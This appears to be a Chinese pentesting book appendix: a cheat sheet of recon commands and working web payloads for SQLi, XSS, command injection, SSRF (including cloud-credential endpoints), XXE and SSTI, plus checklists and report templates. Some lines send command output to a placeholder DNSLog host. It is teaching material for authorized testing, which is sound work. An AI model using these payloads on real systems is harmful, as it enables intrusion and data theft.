# 附录 A 命令与 Payload 速查

2 阅读6分钟

这是本书的"随身手册"。 内容按"平时查得最勤"的顺序组织,建议打印或存成收藏夹。 ⚠️ 所有命令与 payload,仅限在你自己的靶场、或明确授权的目标上使用。


A.1 环境与基础

A.1.1 Docker 靶场命令

# 启动 DVWA
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

# 启动 Juice Shop
docker run -d -p 3000:3000 --name juice bkimminich/juice-shop

# 启动 bWAPP / WebGoat / 其他
docker run -d -p 8080:8080 webgoat/goatandwolf

# 查看在跑的容器
docker ps

# 进容器
docker exec -it dvwa bash

# 停止 / 删除
docker stop dvwa && docker rm dvwa

# docker compose(一次起多个靶场)
docker compose up -d

A.1.2 Burp Suite 代理设置

ProxyOptions → 监听 127.0.0.1:8080
② 浏览器设置代理指向 127.0.0.1:8080
③ 访问 http://burp 下载并安装 CA 证书Firefox 建议用 FoxyProxy 插件快速切换

常用快捷键:
  Ctrl+R   发送到 Repeater
  Ctrl+I   发送到 Intruder
  Ctrl+Shift+R  发送到 Repeater(新标签)

A.1.3 常用命令行工具

# ---- 信息收集 ----
curl -sI https://target.com                    # 只看响应头
dig target.com +short                          # DNS 解析
whois target.com                               # 域名信息
nslookup target.com

# ---- 存活探测 / 指纹 ----
cat subdomains.txt | httpx -silent -title -tech-detect -status-code
whatweb https://target.com

# ---- 端口扫描 ----
nmap -sV -p- target                            # 全端口 + 版本
nmap -sC -sV -p 80,443 target                  # 默认脚本
masscan -p1-65535 --rate=1000 target/24

# ---- 子域枚举 ----
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
ffuf -w subdomains.txt -u https://FUZZ.target.com -mc 200,301,302,403

# ---- 目录爆破 ----
ffuf -w dirs.txt -u https://target.com/FUZZ -fc 404
ffuf -w dirs.txt -u https://target.com/FUZZ -e .php,.bak,.zip,.txt -fc 404
gobuster dir -u https://target.com -w dirs.txt

# ---- 参数发现 ----
arjun -u https://target.com/api/endpoint

# ---- 爬虫 / 提取 ----
katana -u https://target.com -d 3 -jc -o urls.txt

A.2 各漏洞类型 Payload 速查

A.2.1 SQL 注入(SQLi)

【探测】
单引号:      '
双单引号:    ''
反斜杠:      反斜杠字符
双引号:      "
注释符:      --   #   /* */

【判断列数】
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -         (报错时,列数 = 上一行的数字)

【联合查询】
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,database(),version()-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -

【报错注入(MySQL)】
' AND extractvalue(1,concat(0x7e,database()))-- -
' AND updatexml(1,concat(0x7e,database()),1)-- -

【布尔盲注】
' AND 1=1-- -            (真)
' AND 1=2-- -            (假)
' AND SUBSTRING(database(),1,1)='a'-- -

【时间盲注】
' AND SLEEP(5)-- -                          (MySQL)
'; WAITFOR DELAY '0:0:5'-- -                (MSSQL)
' AND pg_sleep(5)-- -                       (PostgreSQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -(Oracle)

【绕过(回顾第 20 章)】
SeLeCt / SEL/**/ECT / UN/**/ION
0x61646d696e(十六进制表示 admin)
用注释代替空格

A.2.2 XSS

【最基础】
<script>alert(1)</script>
<script>alert(document.cookie)</script>

【无脚本标签】
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>

【属性型】
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

【JS 上下文】
';alert(1)//
结束当前 script 标签后另起

【URL 上下文】
javascript:alert(1)

【绕过(回顾第 20 章)】
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</script>
<img src=x onerror=confirm(1)>

A.2.3 命令注入

【分隔符】
; whoami
| whoami
|| whoami
&& whoami
反引号包裹 whoami
$(whoami)
%0a whoami

【常用命令】
whoami / id
uname -a
cat /etc/passwd
ipconfig / ifconfig
ls -la
ping -c 3 你的DNSLog
curl http://你的DNSLog
nslookup 你的DNSLog

【绕过空格】
cat${IFS}/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS$9/etc/passwd

【盲注(无回显)】
; ping -c 3 $(whoami).你的DNSLog
; curl http://你的DNSLog/$(whoami)

A.2.4 SSRF

【基础】
http://127.0.0.1/
http://localhost/
http://[::1]/
http://0.0.0.0/

【内网 / 云元数据】
http://169.254.169.254/latest/meta-data/AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/GCPhttp://100.100.100.200/latest/meta-data/          (阿里云)

【绕过 IP 黑名单(进制 / 变形)】
http://2130706433/127.0.0.1 的十进制)
http://0x7f000001/                (十六进制)
http://127.1/                     (省略写法)
http://127.0.0.1.nip.io/DNS 重绑定)
http://你的域名@127.0.0.1/         (@ 绕过)

【协议利用】
file:///etc/passwd
gopher://...                      (打内网服务)
dict://127.0.0.1:6379/

A.2.5 文件上传

【后缀绕过】
shell.php.jpg
shell.phtml / shell.pht / shell.php5
shell.PHP
shell.php.  (末尾点)
shell.pphphp(双写)
shell.php%00.jpg(截断,旧版本)
shell.php::$DATA(Windows)

【内容绕过】
真实图片头(GIF89a)后接一句话木马
真实图片 + 尾部追加 PHP 代码

【.htaccess 技巧】
上传 .htaccess,内容:
  AddType application/x-httpd-php .jpg

【.user.ini(PHP)】
  auto_prepend_file=shell.jpg

A.2.6 路径穿越

../../../etc/passwd
..%2f..%2f..%2fetc/passwd
..%252f..%252f..%252fetc/passwd(双重编码)
....//....//....//etc/passwd
/etc/passwd(绝对路径)
..\..\..\windows\win.ini(Windows)

A.2.7 XXE

【基础文件读取】
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>

【盲注(外带)】
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://你的DNSLog/a"> %xxe; ]>
(或用外部 DTD 把文件内容外带)

【SSRF via XXE】
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

【绕过(PHP filter 编码)】
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

A.2.8 SSTI(模板注入)

【探测】
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
*{7*7}
(若返回 49,说明存在 SSTI)

【Jinja2(Python)】
{{ config }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

【FreeMarker(Java)】
用 freemarker.template.utility.Execute 构造执行表达式

【Twig(PHP)】
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

A.2.9 反序列化(概念速查)

【PHP】
O:4:"User":1:{s:4:"name";s:5:"admin";}
(构造"类名 + 属性"的对象字符串)

【Java】
Base64 编码的序列化字节流 + 利用链(ysoserial 生成)
常见链:CommonsCollections / CommonsBeanutils / Fastjson / Shiro

★ 反序列化的"利用"高度依赖"目标用了哪个库 / 哪个版本",
  真实场景中"gadget 链"需要针对性构造(本书第 14 章)。

A.3 编码与变形速查

A.3.1 常用编码对照

字符URL双重 URLHTMLHTML(十进制)JS(Unicode)
左尖括号%3C%253C<<\u003c
右尖括号%3E%253E>>\u003e
单引号%27%2527-'\u0027
双引号%22%2522""\u0022
%2E%252E-.\u002e
斜杠%2F%252F-/\u002f
空格%20%2520  \u0020

A.3.2 常见转换命令

# URL 编码 / 解码
python3 -c "import urllib.parse; print(urllib.parse.quote('a<b>c'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('%3Ca%3E'))"

# Base64
echo -n "text" | base64
echo "dGV4dA==" | base64 -d

# Hex
echo -n "text" | xxd -p
echo "74657874" | xxd -r -p

# 各种哈希
echo -n "text" | md5sum
echo -n "text" | sha1sum
echo -n "text" | sha256sum

A.3.3 常见 Web 后门"形态"说明(仅限靶场 / 授权,仅作识别用途)

⚠️ 本小节只讲"后门长什么样、叫什么名字",不给可用代码—— 一是避免被误当作恶意样本,二是真正的门槛在"怎么用",不在"抄一行"。 这些 payload 的用途是"授权测试中的后渗透",在真实环境里上传后门 = 实质入侵

【PHP 后门(形态)】
  形式:PHP 开始标签 + 一个"接收请求参数并当作代码执行"的函数 + 结束标签
  典型函数:eval() / assert() / system() / 变量函数
  别名:"一句话"

【JSP 后门(形态)】
  形式:JSP 脚本片段 + Runtime.getRuntime().exec(request 参数)

【ASP / ASPX 后门(形态)】
  形式:ASP 脚本 + eval(request(...))

【常见"连接"工具(这些是工具名,不是 payload)】
  中国菜刀(Caidao)/ 蚁剑(AntSword)/ 冰蝎(Behinder)/ 哥斯拉(Godzilla)
  作用:把上述后门当作"入口",提供图形化的文件管理 / 命令执行

【在靶场上怎么练】
  DVWA 的 File Upload 关卡 → 上传一个无害的探针(如只 echo 一个字符串)
  → 观察"上传后能否被解析执行" → 理解"上传 + 解析 = 后门"这条链

A.4 常用"检查清单"速查

A.4.1 单个接口的检查清单

□ 参数:有没有注入?(SQLi / NoSQL / 命令 / SSTI)
□ 输出:回显是否可 XSS?在什么上下文?
□ 权限:能否越权?(改 ID / 改角色 / 不带 Cookie)
□ 敏感操作:是否可 CSRF?
□ 并发:幂等吗?(同时发两次会怎样)
□ 边界:负数 / 0 / 超大 / 小数 / 特殊字符
□ 参数:有没有"隐藏参数"?(admin/debug/test)
□ 响应:有没有泄露信息?(版本 / 路径 / 堆栈)

A.4.2 整个站点的检查清单

□ 敏感路径:.git/.env/backup/actuator/swagger/phpinfo
□ 安全响应头是否齐全
□ Cookie 属性(HttpOnly/Secure/SameSite)
□ 组件版本是否已知漏洞
□ 目录能否列出
□ 报错页是否详细
□ 子域 / 端口 / 其他资产
□ robots.txt / sitemap.xml
□ 前端 JS 里的密钥 / 接口 / 注释

A.5 报告与记录模板

A.5.1 单漏洞记录模板(简版)

## [漏洞名称]
- 等级:严重/高/中/低
- 位置:URL / 参数
- 类型:CWE-xxx

### 描述
(一句话 + 展开)

### 复现
1. ...
2. ...

(请求报文 / 响应片段 / 截图)

### 危害
(能做什么,影响多少数据/用户)

### 修复
(具体到代码 / 配置)

A.5.2 每日测试记录模板

# 测试日志 2025-01-01
目标:xxx(授权范围:xxx)

## 进展
- 梳理了接口 a/b/c
- 测试了越权,发现 /api/order 存在 IDOR
- 目录爆破发现 .git

## 待办
- 确认 IDOR 的完整影响
- 测试上传功能

## 证据
- evidence/order-idor.png
- evidence/git-config.txt

💡 本附录的使用建议:把 A.2(漏洞 payload)和 A.4(检查清单)打印出来,测试时放手边。 但永远记住:先理解"为什么",再背"是什么"(第 20 章的教训)。